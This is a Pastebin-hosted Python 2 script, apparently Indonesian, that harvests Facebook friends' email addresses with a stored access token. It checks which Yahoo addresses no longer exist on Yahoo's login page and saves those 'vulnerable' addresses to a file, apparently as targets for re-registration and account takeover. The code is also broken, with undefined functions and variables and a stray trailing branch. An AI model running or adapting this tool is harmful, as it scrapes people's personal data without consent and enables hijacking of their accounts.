Advertisement
Guest User

Untitled

a guest
Aug 20th, 2019
413
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 9.14 KB | None | 0 0
  1. import os, sys, time, datetime, random, hashlib, re, threading, json, getpass, urllib
  2. from multiprocessing.pool import ThreadPool
  3. try:
  4.     import mechanize
  5. except ImportError:
  6.     os.system('pip2 install mechanize')
  7. else:
  8.     try:
  9.         import requests
  10.     except ImportError:
  11.         os.system('pip2 install requests')
  12.  
  13. from requests.exceptions import ConnectionError
  14. from mechanize import Browser
  15. reload(sys)
  16. sys.setdefaultencoding('utf8')
  17. br = mechanize.Browser()
  18. br.set_handle_robots(False)
  19. br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1)
  20. br.addheaders = [('User-Agent', 'Opera/9.80 (Android; Opera Mini/32.0.2254/85. U; id) Presto/2.12.423 Version/12.16')]
  21.  
  22. def keluar():
  23.     print '\x1b[1;91m[!] Keluar'
  24.     os.sys.exit()
  25.  
  26.  
  27. def jalan(z):
  28.     for e in z + '\n':
  29.         sys.stdout.write(e)
  30.         sys.stdout.flush()
  31.         time.sleep(0.1)
  32.  
  33.  
  34. def tik():
  35.     titik = [
  36.      '.   ', '..  ', '... ']
  37.     for o in titik:
  38.         print '\r\x1b[1;91m[\xe2\x97\x8f] \x1b[1;92mSedang Masuk \x1b[1;97m' + o,
  39.         sys.stdout.flush()
  40.         time.sleep(1)
  41.  
  42.  
  43. back = 0
  44. threads = []
  45. berhasil = []
  46. cekpoint = []
  47. gagal = []
  48.  
  49. vulnot = '\x1b[31mNot Vuln'
  50. vuln = '\x1b[32mVuln'
  51. def menu():
  52.     os.system('reset')
  53.     try:
  54.         toket = open('login.txt', 'r').read()
  55.     except IOError:
  56.         os.system('reset')
  57.         print '\x1b[1;91m[!] Token tidak ditemukan'
  58.         os.system('rm -rf login.txt')
  59.         time.sleep(1)
  60.         login()
  61.     else:
  62.         try:
  63.             otw = requests.get('https://graph.facebook.com/me?access_token=' + toket)
  64.             a = json.loads(otw.text)
  65.             nama = a['name']
  66.             id = a['id']
  67.         except KeyError:
  68.             os.system('reset')
  69.             print '\x1b[1;91m[!] \x1b[1;93mSepertinya akun kena Checkpoint'
  70.             os.system('rm -rf login.txt')
  71.             time.sleep(1)
  72.             login()
  73.         except requests.exceptions.ConnectionError:
  74.             print '\x1b[1;91m[!] Tidak ada koneksi'
  75.             keluar()
  76.  
  77.     os.system('reset')
  78.     print logo
  79.     print '\x1b[1;97m\xe2\x95\x94' + 40 * '\xe2\x95\x90'
  80.     print '\xe2\x95\x91\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m]\x1b[1;97m Nama \x1b[1;91m: \x1b[1;92m' + nama
  81.     print '\x1b[1;97m\xe2\x95\x9a' + 40 * '\xe2\x95\x90'
  82.     print '\x1b[1;37;40m1. yahoo vuln'
  83.     print '\x1b[1;31;40m0. Keluar            '
  84.     print
  85.     pilih()
  86.  
  87.  
  88. def pilih():
  89.     zedd = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ')
  90.     if zedd == '':
  91.         print '\x1b[1;91m[!] WAJIB ISI SOB'
  92.         pilih()
  93.     else:
  94.         if zedd == '1':
  95.             yahoo()
  96.         else :
  97.             if zedd == '0':
  98.                keluar()
  99.             else:
  100.                print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + zedd + ' \x1b[1;91mTidak ada'
  101.                pilih()
  102.                
  103.  
  104. def menu_yahoo():
  105.     os.system('reset')
  106.     try:
  107.         toket = open('login.txt', 'r').read()
  108.     except IOError:
  109.         print '\x1b[1;91m[!] Token tidak ditemukan'
  110.         os.system('rm -rf login.txt')
  111.         time.sleep(1)
  112.         login()
  113.  
  114.     os.system('reset')
  115.     print logo
  116.     print 40 * '\x1b[1;97m\xe2\x95\x90'
  117.     print '\x1b[1;37;40m1. Dari teman facebook'
  118.     print '\x1b[1;37;40m2. Gunakan File'
  119.     print '\x1b[1;31;40m0. Kembali'
  120.     print
  121.     yahoo_pilih()
  122.  
  123.  
  124. def yahoo_pilih():
  125.     go = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ')
  126.     if go == '':
  127.         print '\x1b[1;91m[!] Jangan kosong'
  128.         yahoo_pilih()
  129.     else:
  130.         if go == '1':
  131.             yahoofriends()
  132.         else:
  133.             if go == '2':
  134.                 yahoolist()
  135.             else:
  136.                 if go == '0':
  137.                     menu_hack()
  138.                 else:
  139.                     print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + go + ' \x1b[1;91mTidak ada'
  140.                     yahoo_pilih()
  141.  
  142.  
  143. def yahoofriends():
  144.     os.system('reset')
  145.     try:
  146.         toket = open('login.txt', 'r').read()
  147.     except IOError:
  148.         print '\x1b[1;91m[!] Token tidak ditemukan'
  149.         os.system('rm -rf login.txt')
  150.         time.sleep(1)
  151.         login()
  152.  
  153.     os.system('reset')
  154.     print logo
  155.     print 40 * '\x1b[1;97m\xe2\x95\x90'
  156.     mpsh = []
  157.     jml = 0
  158.     jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...')
  159.     teman = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket)
  160.     kimak = json.loads(teman.text)
  161.     save = open('MailVuln.txt', 'w')
  162.     print 40 * '\x1b[1;97m\xe2\x95\x90'
  163.     for w in kimak['data']:
  164.         jml += 1
  165.         mpsh.append(jml)
  166.         id = w['id']
  167.         nama = w['name']
  168.         links = requests.get('https://graph.facebook.com/' + id + '?access_token=' + toket)
  169.         z = json.loads(links.text)
  170.         try:
  171.             mail = z['email']
  172.             yahoo = re.compile('@.*')
  173.             otw = yahoo.search(mail).group()
  174.             if 'yahoo.com' in otw:
  175.                 br.open('https://login.yahoo.com/config/login?.src=fpctx&.intl=id&.lang=id-ID&.done=https://id.yahoo.com')
  176.                 br._factory.is_html = True
  177.                 br.select_form(nr=0)
  178.                 br['username'] = mail
  179.                 klik = br.submit().read()
  180.                 jok = re.compile('"messages.ERROR_INVALID_USERNAME">.*')
  181.                 try:
  182.                     pek = jok.search(klik).group()
  183.                 except:
  184.                     print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;92mEmail \x1b[1;91m:\x1b[1;91m ' + mail + ' \x1b[1;97m[\x1b[1;92m' + vulnot + '\x1b[1;97m]'
  185.                     continue
  186.  
  187.                 if '"messages.ERROR_INVALID_USERNAME">' in pek:
  188.                     save.write(mail + '\n')
  189.                     print 40 * '\x1b[1;97m\xe2\x95\x90'
  190.                     print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama  \x1b[1;91m:\x1b[1;97m ' + nama
  191.                     print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mID    \x1b[1;91m:\x1b[1;97m ' + id
  192.                     print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mEmail \x1b[1;91m:\x1b[1;97m ' + mail + ' [\x1b[1;92m' + vuln + '\x1b[1;97m]'
  193.                     print 40 * '\x1b[1;97m\xe2\x95\x90'
  194.                 else:
  195.                     print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;92mEmail \x1b[1;91m:\x1b[1;91m ' + mail + ' \x1b[1;97m[\x1b[1;92m' + vulnot + '\x1b[1;97m]'
  196.         except KeyError:
  197.             pass
  198.  
  199.     print '\n\x1b[1;91m[+] \x1b[1;97mSelesai'
  200.     print '\x1b[1;91m[+] \x1b[1;97mTersimpan \x1b[1;91m:\x1b[1;97m MailVuln.txt'
  201.     save.close()
  202.     raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  203.     menu_yahoo()
  204.  
  205.  
  206. def yahoolist():
  207.     os.system('reset')
  208.     try:
  209.         toket = open('login.txt', 'r').read()
  210.     except IOError:
  211.         print '\x1b[1;91m[!] Token tidak ditemukan'
  212.         os.system('rm -rf login.txt')
  213.         time.sleep(1)
  214.         login()
  215.     else:
  216.         os.system('reset')
  217.         print logo
  218.         print 40 * '\x1b[1;97m\xe2\x95\x90'
  219.         files = raw_input('\x1b[1;91m[+] \x1b[1;92mFile \x1b[1;91m: \x1b[1;97m')
  220.         try:
  221.             total = open(files, 'r')
  222.             mail = total.readlines()
  223.         except IOError:
  224.             print '\x1b[1;91m[!] File tidak ada'
  225.             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  226.             menu_yahoo()
  227.  
  228.     mpsh = []
  229.     jml = 0
  230.     jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...')
  231.     save = open('MailVuln.txt', 'w')
  232.     print 40 * '\x1b[1;97m\xe2\x95\x90'
  233.     print '\x1b[1;91m[?] \x1b[1;97mStatus \x1b[1;91m:  \x1b[1;97mRed[\x1b[1;92m' + vulnot + '\x1b[1;97m]  Green[\x1b[1;92m' + vuln + '\x1b[1;97m]'
  234.     print
  235.     mail = open(files, 'r').readlines()
  236.     for pw in mail:
  237.         mail = pw.replace('\n', '')
  238.         jml += 1
  239.         mpsh.append(jml)
  240.         yahoo = re.compile('@.*')
  241.         otw = yahoo.search(mail).group()
  242.         if 'yahoo.com' in otw:
  243.             br.open('https://login.yahoo.com/config/login?.src=fpctx&.intl=id&.lang=id-ID&.done=https://id.yahoo.com')
  244.             br._factory.is_html = True
  245.             br.select_form(nr=0)
  246.             br['username'] = mail
  247.             klik = br.submit().read()
  248.             jok = re.compile('"messages.ERROR_INVALID_USERNAME">.*')
  249.             try:
  250.                 pek = jok.search(klik).group()
  251.             except:
  252.                 print '\x1b[1;91m ' + mail
  253.                 continue
  254.  
  255.             if '"messages.ERROR_INVALID_USERNAME">' in pek:
  256.                 save.write(mail + '\n')
  257.                 print '\x1b[1;92m ' + mail
  258.             else:
  259.                 print '\x1b[1;91m ' + mail
  260.  
  261.         print '\n\x1b[1;91m[+] \x1b[1;97mSelesai'
  262.         print '\x1b[1;91m[+] \x1b[1;97mTersimpan \x1b[1;91m:\x1b[1;97m MailVuln.txt'
  263.         save.close()
  264.         raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  265.         menu_yahoo()
  266.     else:
  267.         if '"is_shielded":false' in res.text:
  268.             os.system('reset')
  269.             print logo
  270.             print 40 * '\x1b[1;97m\xe2\x95\x90'
  271.             print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;91mDinonaktifkan'
  272.             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  273.             lain()
  274.         else:
  275.             print '\x1b[1;91m[!] Error'
  276.             keluar()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement